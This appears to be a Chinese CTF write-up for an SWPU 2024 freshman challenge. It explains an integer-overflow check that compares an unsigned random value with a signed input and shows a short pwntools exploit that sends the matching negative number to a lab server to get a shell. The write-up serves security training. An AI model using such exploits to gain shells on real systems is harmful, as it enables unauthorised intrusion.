0%

WP

2025-09-18 12:47By
shacha
整数溢出

Problem: [SWPU 2024 新生引导]你这辈子都是被黑神话害了

思路

  • 解题大致思路

打开IDA简单分析后找到几个主要逻辑

unsigned int hours = (random & 0x7FFFFFFF) + 0x80000000;

简单来说就是生成了一个随机负数,具体操作是把符号位置零(强制正数)然后加了最小负数

char input[40];
scanf("%s", input);
input_int = atoi(input);
if ( input[0] != '-' || input_int >= 0 )
  exit(0);
if ( hours != input_int )
  exit(0);
return system("/bin/sh");

只要满足输入为字面上的负数且实际数据和uint hours相同就可以拿到shell

EXP

io = pwn.remote("node4.anna.nssctf.cn", 28819)
io.recvuntil(',她玩了'.encode())
hour = p32(int(io.recvuntil('小时'.encode(), drop=True)), sign='unsigned')
io.sendlineafter('游戏时长'.encode(), str(u32(hour, sign='signed')).encode())
io.interactive()

直接逃课

总结

  • 考察基本的逆向能力和C语言数据的基础知识
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论